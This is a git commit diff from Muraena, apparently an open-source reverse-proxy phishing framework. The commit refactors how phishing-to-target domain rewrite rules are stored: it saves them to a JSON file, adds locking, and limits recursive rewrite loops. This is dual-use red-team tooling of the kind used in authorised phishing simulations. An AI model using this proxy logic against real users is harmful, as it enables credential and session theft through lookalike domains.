mirror of
https://github.com/muraenateam/muraena.git
synced 2026-01-23 02:24:05 +00:00
new: store session replacer on disk
This commit is contained in:
parent
54f3efbc15
commit
e56d54b861
6 changed files with 200 additions and 80 deletions
1
.gitignore
vendored
1
.gitignore
vendored
|
|
@ -1,5 +1,6 @@
|
|||
*.pem
|
||||
*.log
|
||||
*.json
|
||||
.DS_Store
|
||||
muraena
|
||||
build/
|
||||
|
|
|
|||
|
|
@ -13,9 +13,10 @@ import (
|
|||
|
||||
"github.com/evilsocket/islazy/tui"
|
||||
. "github.com/logrusorgru/aurora"
|
||||
"github.com/pkg/errors"
|
||||
|
||||
"github.com/muraenateam/muraena/core"
|
||||
"github.com/muraenateam/muraena/module/necrobrowser"
|
||||
"github.com/pkg/errors"
|
||||
|
||||
"github.com/muraenateam/muraena/core/db"
|
||||
"github.com/muraenateam/muraena/log"
|
||||
|
|
@ -352,7 +353,6 @@ func (muraena *MuraenaProxy) ResponseProcessor(response *http.Response) (err err
|
|||
}
|
||||
}
|
||||
|
||||
|
||||
} else {
|
||||
if len(response.Cookies()) > 0 {
|
||||
log.Debug("[TODO] Missing cookies to track: \n%s\n%+v", response.Request.URL, response.Cookies())
|
||||
|
|
@ -458,14 +458,12 @@ func (init *MuraenaProxyInit) Spawn() *MuraenaProxy {
|
|||
return muraena
|
||||
}
|
||||
|
||||
func (st *SessionType) HandleFood(response http.ResponseWriter, request *http.Request) {
|
||||
func (st SessionType) HandleFood(response http.ResponseWriter, request *http.Request) {
|
||||
|
||||
var destination string
|
||||
sess := st.Session
|
||||
replacer := st.Replacer
|
||||
|
||||
if sess.Config.StaticServer.Enabled {
|
||||
m, err := sess.Module("static.http")
|
||||
if st.Session.Config.StaticServer.Enabled {
|
||||
m, err := st.Session.Module("static.http")
|
||||
if err != nil {
|
||||
log.Error("%s", err)
|
||||
}
|
||||
|
|
@ -477,33 +475,31 @@ func (st *SessionType) HandleFood(response http.ResponseWriter, request *http.Re
|
|||
}
|
||||
|
||||
if destination == "" {
|
||||
if strings.HasPrefix(request.Host, replacer.ExternalOriginPrefix) { //external domain mapping
|
||||
for domain, subMapping := range replacer.OriginsMapping {
|
||||
if strings.HasPrefix(request.Host, st.Replacer.ExternalOriginPrefix) { //external domain mapping
|
||||
|
||||
for domain, subMapping := range st.Replacer.GetOrigins() {
|
||||
// even if the resource is aa.bb.cc.dom.tld, the mapping is always one level as in www--2.phishing.tld.
|
||||
// This is specifically important since wildcard SSL certs do not handle N levels of nesting
|
||||
// This is important since wildcard SSL certs do not handle N levels of nesting
|
||||
if subMapping == strings.Split(request.Host, ".")[0] {
|
||||
destination = fmt.Sprintf("%s%s", sess.Config.Protocol,
|
||||
destination = fmt.Sprintf("%s%s", st.Session.Config.Protocol,
|
||||
strings.Replace(request.Host,
|
||||
fmt.Sprintf("%s.%s", subMapping, replacer.Phishing),
|
||||
fmt.Sprintf("%s.%s", subMapping, st.Replacer.Phishing),
|
||||
domain, -1))
|
||||
break
|
||||
}
|
||||
}
|
||||
} else {
|
||||
destination = fmt.Sprintf("%s%s", sess.Config.Protocol,
|
||||
strings.Replace(request.Host, replacer.Phishing, replacer.Target, -1))
|
||||
destination = fmt.Sprintf("%s%s", st.Session.Config.Protocol,
|
||||
strings.Replace(request.Host, st.Replacer.Phishing, st.Replacer.Target, -1))
|
||||
}
|
||||
}
|
||||
|
||||
// PortMapping
|
||||
if sess.Config.Proxy.PortMap != "" {
|
||||
|
||||
if st.Session.Config.Proxy.PortMap != "" {
|
||||
destURL, err := url.Parse(destination)
|
||||
if err != nil {
|
||||
log.Error("%s", err)
|
||||
} else {
|
||||
|
||||
port := destURL.Port()
|
||||
if port == "" && destURL.Scheme == "https" {
|
||||
port = "443"
|
||||
|
|
@ -513,8 +509,8 @@ func (st *SessionType) HandleFood(response http.ResponseWriter, request *http.Re
|
|||
destination = fmt.Sprintf("%s:%s", destination, port)
|
||||
}
|
||||
|
||||
if strings.HasPrefix(sess.Config.Proxy.PortMap, fmt.Sprintf("%s:", port)) {
|
||||
newport := strings.Split(sess.Config.Proxy.PortMap, ":")[1]
|
||||
if strings.HasPrefix(st.Session.Config.Proxy.PortMap, fmt.Sprintf("%s:", port)) {
|
||||
newport := strings.Split(st.Session.Config.Proxy.PortMap, ":")[1]
|
||||
destination = strings.Replace(destination, fmt.Sprintf(":%s", port), fmt.Sprintf(":%s", newport), 1)
|
||||
}
|
||||
}
|
||||
|
|
@ -528,8 +524,8 @@ func (st *SessionType) HandleFood(response http.ResponseWriter, request *http.Re
|
|||
muraena := &MuraenaProxyInit{
|
||||
Origin: request.Host,
|
||||
Target: destination,
|
||||
Session: sess,
|
||||
Replacer: replacer,
|
||||
Session: st.Session,
|
||||
Replacer: st.Replacer,
|
||||
}
|
||||
|
||||
muraenaProxy := muraena.Spawn()
|
||||
|
|
|
|||
|
|
@ -137,11 +137,12 @@ func isWildcard(s string) bool {
|
|||
return strings.HasPrefix(s, "*.")
|
||||
}
|
||||
|
||||
func IsSubdomain(domain string, toCheck string) bool {
|
||||
if strings.HasSuffix(toCheck, domain) {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
// IsSubdomain checks if a string is a subdomain of another string.
|
||||
// It returns true if the given string is a subdomain of the root string.
|
||||
func IsSubdomain(root string, subdomain string) bool {
|
||||
|
||||
// TODO: add support for wildcard domains
|
||||
return strings.HasSuffix(subdomain, root)
|
||||
}
|
||||
|
||||
func base64Decode(input string, padding int32) (string, bool) {
|
||||
|
|
|
|||
111
core/proxy/replacer.go
Normal file
111
core/proxy/replacer.go
Normal file
|
|
@ -0,0 +1,111 @@
|
|||
package proxy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"sync"
|
||||
)
|
||||
|
||||
const ReplaceFile = "session.json"
|
||||
|
||||
// Replacer structure used to populate the transformation rules
|
||||
type Replacer struct {
|
||||
Phishing string
|
||||
Target string
|
||||
ExternalOrigin []string
|
||||
ExternalOriginPrefix string
|
||||
Origins map[string]string
|
||||
WildcardMapping map[string]string
|
||||
CustomResponseTransformations [][]string
|
||||
ForwardReplacements []string `json:"-"`
|
||||
BackwardReplacements []string `json:"-"`
|
||||
LastForwardReplacements []string `json:"-"`
|
||||
LastBackwardReplacements []string `json:"-"`
|
||||
WildcardDomain string `json:"-"`
|
||||
|
||||
// Ignore from JSON export
|
||||
loopCount int
|
||||
mu sync.RWMutex
|
||||
}
|
||||
|
||||
// GetOrigins returns the Origins mapping used in the transformation rules.
|
||||
// It returns a copy of the internal map.
|
||||
func (r *Replacer) GetOrigins() map[string]string {
|
||||
r.mu.Lock()
|
||||
|
||||
// Make a copy of the Origins and return it
|
||||
ret := make(map[string]string)
|
||||
for k, v := range r.Origins {
|
||||
ret[k] = v
|
||||
}
|
||||
|
||||
r.mu.Unlock()
|
||||
|
||||
return ret
|
||||
}
|
||||
|
||||
// SetOrigins sets the Origins mapping used in the transformation rules.
|
||||
func (r *Replacer) SetOrigins(newOrigins map[string]string) {
|
||||
|
||||
if len(newOrigins) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
if r.Origins == nil {
|
||||
r.Origins = make(map[string]string)
|
||||
}
|
||||
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
// merge newOrigins to r.newOrigins and avoid duplicate
|
||||
for k, v := range newOrigins {
|
||||
r.Origins[k] = v
|
||||
}
|
||||
}
|
||||
|
||||
// Save saves the Replacer struct to a file as JSON.
|
||||
func (r *Replacer) Save() error {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
return saveToJSON(ReplaceFile, r)
|
||||
}
|
||||
|
||||
// saveToJSON saves the Replacer struct to a file as JSON.
|
||||
func saveToJSON(filename string, replacer *Replacer) error {
|
||||
data, err := json.MarshalIndent(replacer, "", "\t")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(filename, data, 0644)
|
||||
}
|
||||
|
||||
// Load loads the Replacer data from a JSON file.
|
||||
func (r *Replacer) Load() error {
|
||||
r.mu.Lock()
|
||||
mutex := r.mu
|
||||
defer mutex.Unlock()
|
||||
|
||||
rep, err := loadFromJSON(ReplaceFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// update the current replacer pointer
|
||||
*r = *rep
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// loadFromJSON loads the Replacer data from a JSON file.
|
||||
func loadFromJSON(filename string) (*Replacer, error) {
|
||||
data, err := ioutil.ReadFile(filename)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var replacer Replacer
|
||||
if err := json.Unmarshal(data, &replacer); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &replacer, nil
|
||||
}
|
||||
|
|
@ -49,27 +49,51 @@ func (server *tlsServer) serveTLS() (err error) {
|
|||
return server.Serve(tlsListener)
|
||||
}
|
||||
|
||||
var replacer *Replacer
|
||||
|
||||
func Run(sess *session.Session) {
|
||||
|
||||
// Load replacer rules
|
||||
var replacer = &Replacer{
|
||||
Phishing: sess.Config.Proxy.Phishing,
|
||||
Target: sess.Config.Proxy.Target,
|
||||
ExternalOrigin: sess.Config.Crawler.ExternalOrigins,
|
||||
ExternalOriginPrefix: sess.Config.Crawler.ExternalOriginPrefix,
|
||||
OriginsMapping: sess.Config.Crawler.OriginsMapping,
|
||||
CustomResponseTransformations: sess.Config.Transform.Response.Custom,
|
||||
// Load the replacer
|
||||
var err error
|
||||
replacer = &Replacer{}
|
||||
err = replacer.Load()
|
||||
if err != nil {
|
||||
log.Debug("Error loading replacer: %s", err)
|
||||
log.Debug("Creating a new replacer")
|
||||
|
||||
replacer = &Replacer{
|
||||
Phishing: sess.Config.Proxy.Phishing,
|
||||
Target: sess.Config.Proxy.Target,
|
||||
ExternalOrigin: sess.Config.Crawler.ExternalOrigins,
|
||||
ExternalOriginPrefix: sess.Config.Crawler.ExternalOriginPrefix,
|
||||
CustomResponseTransformations: sess.Config.Transform.Response.Custom,
|
||||
}
|
||||
replacer.SetOrigins(sess.Config.Crawler.OriginsMapping)
|
||||
}
|
||||
|
||||
if err := replacer.DomainMapping(); err != nil {
|
||||
if err = replacer.DomainMapping(); err != nil {
|
||||
log.Fatal(err.Error())
|
||||
}
|
||||
|
||||
err = replacer.Save()
|
||||
if err != nil {
|
||||
log.Error("Error saving replacer: %s", err)
|
||||
}
|
||||
|
||||
replacer.MakeReplacements()
|
||||
|
||||
//
|
||||
// Start the reverse proxy
|
||||
//
|
||||
http.HandleFunc("/", func(response http.ResponseWriter, request *http.Request) {
|
||||
|
||||
// Defer the recovery function in case of panic
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
log.Error("Recovered from panic: %s", err)
|
||||
}
|
||||
}()
|
||||
|
||||
// TODO: Configure properly middlewares.
|
||||
if sess.Config.Watchdog.Enabled {
|
||||
m, err := sess.Module("watchdog")
|
||||
|
|
|
|||
|
|
@ -20,27 +20,10 @@ const (
|
|||
// Base64Padding is the padding to use within base64 operations
|
||||
Base64Padding = '='
|
||||
|
||||
// Wildcard key
|
||||
// WildcardPrefix is the prefix used to identify wildcard domains
|
||||
WildcardPrefix = "wld"
|
||||
)
|
||||
|
||||
// Replacer structure used to populate the transformation rules
|
||||
type Replacer struct {
|
||||
Phishing string
|
||||
Target string
|
||||
ExternalOrigin []string
|
||||
ExternalOriginPrefix string
|
||||
OriginsMapping map[string]string // The origin map who maps between external origins and internal origins
|
||||
WildcardMapping map[string]string
|
||||
CustomResponseTransformations [][]string
|
||||
ForwardReplacements []string
|
||||
BackwardReplacements []string
|
||||
LastForwardReplacements []string
|
||||
LastBackwardReplacements []string
|
||||
|
||||
WildcardDomain string
|
||||
}
|
||||
|
||||
// Base64 identifies if the transformation should consider base-64 data and the related padding rules
|
||||
type Base64 struct {
|
||||
Enabled bool
|
||||
|
|
@ -60,9 +43,9 @@ type Base64 struct {
|
|||
// apply the transformation and re-encode (hello ReCaptcha)
|
||||
func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result string) {
|
||||
|
||||
original := input
|
||||
if strings.TrimSpace(input) == "" {
|
||||
return input
|
||||
source := strings.TrimSpace(input)
|
||||
if source == "" {
|
||||
return source
|
||||
}
|
||||
|
||||
var replacements []string
|
||||
|
|
@ -76,29 +59,25 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
|
|||
}
|
||||
|
||||
// Handling of base64 encoded data which should be decoded before transformation
|
||||
input, base64Found, padding := transformBase64(input, b64, true, Base64Padding)
|
||||
source, base64Found, padding := transformBase64(source, b64, true, Base64Padding)
|
||||
|
||||
// Replace transformation
|
||||
replacer := strings.NewReplacer(replacements...)
|
||||
result = replacer.Replace(input)
|
||||
|
||||
result = strings.NewReplacer(replacements...).Replace(source)
|
||||
// do last replacements
|
||||
replacer = strings.NewReplacer(lastReplacements...)
|
||||
result = replacer.Replace(result)
|
||||
result = strings.NewReplacer(lastReplacements...).Replace(result)
|
||||
|
||||
// Re-encode if base64 encoded data was found
|
||||
if base64Found {
|
||||
result, _, _ = transformBase64(result, b64, false, padding)
|
||||
}
|
||||
|
||||
if original != result {
|
||||
|
||||
// If the result is the same as the input, we don't need to do anything else
|
||||
if source != result {
|
||||
// Find wildcard matching
|
||||
if Wildcards {
|
||||
var rep []string
|
||||
|
||||
wldPrefix := fmt.Sprintf("%s%s", r.ExternalOriginPrefix, WildcardPrefix)
|
||||
|
||||
if strings.Contains(result, "."+wldPrefix) {
|
||||
|
||||
// URL encoding handling
|
||||
|
|
@ -134,7 +113,7 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
|
|||
// Patch the wildcard
|
||||
element = strings.ReplaceAll(element, "."+wldPrefix, "-"+wldPrefix)
|
||||
rep = append(rep, element)
|
||||
// log.Info("[*] New wildcard %s", tui.Bold(tui.Red(element)))
|
||||
log.Info("[*] New wildcard %s", tui.Bold(tui.Red(element)))
|
||||
}
|
||||
|
||||
if urlEncoded {
|
||||
|
|
@ -159,10 +138,20 @@ func (r *Replacer) Transform(input string, forward bool, b64 Base64) (result str
|
|||
return
|
||||
}
|
||||
|
||||
if err = r.Save(); err != nil {
|
||||
log.Error("Error saving replacer: %s", err)
|
||||
}
|
||||
|
||||
r.MakeReplacements()
|
||||
log.Debug("We need another transformation loop, because of this new domains: %s",
|
||||
tui.Green(fmt.Sprintf("%v", rep)))
|
||||
return r.Transform(input, forward, b64)
|
||||
r.loopCount++
|
||||
if r.loopCount > 10 {
|
||||
log.Error("Too many transformation loops, aborting.")
|
||||
return
|
||||
}
|
||||
|
||||
return r.Transform(source, forward, b64)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -201,7 +190,7 @@ func (r *Replacer) transformUrl(URL string, base64 Base64) (result string, err e
|
|||
result = r.Transform(URL, true, base64)
|
||||
|
||||
// After initial transformation round.
|
||||
// If the input is a valid URL proceed by tranforming also the query string
|
||||
// If the input is a valid URL proceed by transforming also the query string
|
||||
|
||||
hURL, err := url.Parse(result)
|
||||
if err != nil || hURL.Scheme == "" || hURL.Host == "" {
|
||||
|
|
@ -262,12 +251,14 @@ func (r *Replacer) MakeReplacements() {
|
|||
//
|
||||
// Requests
|
||||
//
|
||||
origins := r.GetOrigins()
|
||||
|
||||
r.ForwardReplacements = []string{}
|
||||
r.ForwardReplacements = append(r.ForwardReplacements, []string{r.Phishing, r.Target}...)
|
||||
|
||||
log.Debug("[Forward | origins]: %d", len(r.OriginsMapping))
|
||||
log.Debug("[Forward | Origins]: %d", len(origins))
|
||||
count := len(r.ForwardReplacements)
|
||||
for extOrigin, subMapping := range r.OriginsMapping { // changes resource-1.phishing.
|
||||
for extOrigin, subMapping := range origins { // changes resource-1.phishing.
|
||||
|
||||
if strings.HasPrefix(subMapping, WildcardPrefix) {
|
||||
// Ignoring wildcard at this stage
|
||||
|
|
@ -302,7 +293,7 @@ func (r *Replacer) MakeReplacements() {
|
|||
r.BackwardReplacements = append(r.BackwardReplacements, []string{r.Target, r.Phishing}...)
|
||||
|
||||
count = 0
|
||||
for include, subMapping := range r.OriginsMapping {
|
||||
for include, subMapping := range origins {
|
||||
|
||||
if strings.HasPrefix(subMapping, WildcardPrefix) {
|
||||
// Ignoring wildcard at this stage
|
||||
|
|
@ -345,16 +336,11 @@ func (r *Replacer) MakeReplacements() {
|
|||
}
|
||||
|
||||
func (r *Replacer) DomainMapping() (err error) {
|
||||
|
||||
// d := strings.Split(r.Target, ".")
|
||||
//baseDom := fmt.Sprintf("%s.%s", d[len(d)-2], d[len(d)-1])
|
||||
|
||||
// Changing baseDom to be the actual Target domain.
|
||||
baseDom := r.Target
|
||||
log.Debug("Proxy destination: %s", tui.Bold(tui.Green("*."+baseDom)))
|
||||
|
||||
r.ExternalOrigin = ArmorDomain(r.ExternalOrigin)
|
||||
r.OriginsMapping = make(map[string]string)
|
||||
origins := make(map[string]string)
|
||||
r.WildcardMapping = make(map[string]string)
|
||||
|
||||
count, wildcards := 0, 0
|
||||
|
|
@ -364,7 +350,7 @@ func (r *Replacer) DomainMapping() (err error) {
|
|||
|
||||
// We don't map 1-level subdomains ..
|
||||
if strings.Count(trim, ".") < 2 {
|
||||
log.Debug("Ignore: %s [%s]", domain, trim)
|
||||
log.Warning("Ignore: %s [%s]", domain, trim)
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
|
@ -388,7 +374,7 @@ func (r *Replacer) DomainMapping() (err error) {
|
|||
count++
|
||||
// Extra domains or nested subdomains
|
||||
o := fmt.Sprintf("%s%d", r.ExternalOriginPrefix, count)
|
||||
r.OriginsMapping[domain] = o
|
||||
origins[domain] = o
|
||||
//log.Info("Including [%s]=%s", domain, o)
|
||||
log.Debug(fmt.Sprintf("Including [%s]=%s", domain, o))
|
||||
}
|
||||
|
|
@ -399,7 +385,8 @@ func (r *Replacer) DomainMapping() (err error) {
|
|||
Wildcards = true
|
||||
}
|
||||
|
||||
log.Debug("Processed %d domains to transform, %d are wildcards", count, wildcards)
|
||||
r.SetOrigins(origins)
|
||||
|
||||
log.Debug("Processed %d domains to transform, %d are wildcards", count, wildcards)
|
||||
return
|
||||
}
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue